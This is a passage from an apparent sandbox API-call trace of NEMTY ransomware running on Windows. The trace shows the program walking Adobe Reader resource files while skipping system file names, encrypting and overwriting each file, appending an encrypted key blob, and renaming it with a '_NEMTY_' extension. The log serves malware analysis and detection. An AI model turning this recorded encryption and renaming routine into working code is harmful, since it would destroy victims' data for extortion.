pszString="DcFf86AxLZsGRv2VC480ybDoBT9DlknIqZKBizb/Y9elWVBqW8kG0xAB3Xfz3Llo\r\nKqCRldqaMBkFpA3py2MNbSS+q0wXdxnOdAiSjTqgNXaeLFi8DBj3ChzMpxKSP3+1\r\nBTVbsS2+QFCmue3k7OdlMqnVj39GfcmRoCLTJXFO2USolW3bWtHcQ7vPEf7SFvNF\r\nhityrwtUWDtkuoEPX76UTe4wMy1pkS3UUvUZwjVk74V0B81sKKZWMpBgGv0HcSt8\r\n58qD0E5k4autN8C6+1LUiMHzQ0SoNxDwJImqczBc7onOtWWqetBSqlVtqOF2HZWf\r\nvIz1Aa0w4rUM5WW5QuLxBQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.967] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=25194) returned 1 [0215.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6260) returned 0x6352c48 [0215.967] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.967] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6260, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6260, lpOverlapped=0x0) returned 1 [0215.970] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.970] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6260, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6260, lpOverlapped=0x0) returned 1 [0215.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.970] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=25194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x626a [0215.970] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.970] CloseHandle (hObject=0x2e8) returned 1 [0215.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.971] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt._nemty_kgobjgd_")) returned 1 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.972] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x626a, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ko_KR.txt", cAlternateFileName="DI9E0C~1.TXT")) returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2=".") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="..") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="...") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="windows") returned -1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="rsa") returned -1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="NTDETECT.COM") returned -1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="ntldr") returned -1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="MSDOS.SYS") returned -1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="IO.SYS") returned -1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="boot.ini") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="boot.ini") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="ntuser.dat") returned -1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="desktop.ini") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="CONFIG.SYS") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="RECYCLER") returned -1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="bootmgr") returned 1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="programdata") returned -1 [0215.972] lstrcmpiW (lpString1="DisplayLanguageNames.ko_KR.txt", lpString2="appdata") returned 1 [0215.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko_KR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko_KR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko_KR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko_KR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.973] Sleep (dwMilliseconds=0x5) [0215.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x345f2030, dwHighDateTime=0x1d561e8)) [0215.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x345f2030, dwHighDateTime=0x1d561e8)) [0215.980] GetLastError () returned 0x0 [0215.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.980] GetLastError () returned 0x0 [0215.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.980] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.980] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.980] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.980] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="+pLLECExFx54A8sjeo9dIGZnlfXHx6UT5s+MJAOp2QYkhAMykvbx7NzEJSiWBg7j\r\nHycuA8OY8Yjq2HTK+aPw1Xj63abjQtWHgyYGtjPChy9gSnUta3TMgYVi50OjIlCW\r\nD5tGZ7rt/34RIx2S2ECqvV9/oWsbEjSYkl57kW+ym1ynJZEkuOs7w+nBxfuAw3uo\r\nfac3/rNuxYCley+0xy4qCFmnC4FAIRP9xsYfQPRk7Y0E44h9atfV+z1MFtwwxtSr\r\nKfB5EhsSGQQfRZxMiZcehy7BoUnyyibPTB7l4rYT1F21e5wj2UwGmIVURV1eEqkA\r\naHccObpRcf0onXoeSP9Icw==\r\n", pcchString=0x653e5dc) returned 1 [0215.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.981] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=25194) returned 1 [0215.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6260) returned 0x6352c48 [0215.981] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.981] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6260, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6260, lpOverlapped=0x0) returned 1 [0215.984] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.984] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6260, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6260, lpOverlapped=0x0) returned 1 [0215.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.985] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=25194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x626a [0215.985] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.985] CloseHandle (hObject=0x2e8) returned 1 [0215.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.985] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt._nemty_kgobjgd_")) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.988] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bea, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.lt.txt", cAlternateFileName="DIA1C2~1.TXT")) returned 1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2=".") returned 1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="..") returned 1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="...") returned 1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="windows") returned -1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="rsa") returned -1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="NTDETECT.COM") returned -1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="ntldr") returned -1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="MSDOS.SYS") returned -1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="IO.SYS") returned -1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="boot.ini") returned 1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="boot.ini") returned 1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.988] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="ntuser.dat") returned -1 [0215.989] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="desktop.ini") returned 1 [0215.989] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="CONFIG.SYS") returned 1 [0215.989] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="RECYCLER") returned -1 [0215.989] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.989] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="bootmgr") returned 1 [0215.989] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="programdata") returned -1 [0215.989] lstrcmpiW (lpString1="DisplayLanguageNames.lt.txt", lpString2="appdata") returned 1 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt.txt", lpUsedDefaultChar=0x0) returned 27 [0215.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt.txt", lpUsedDefaultChar=0x0) returned 27 [0215.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: 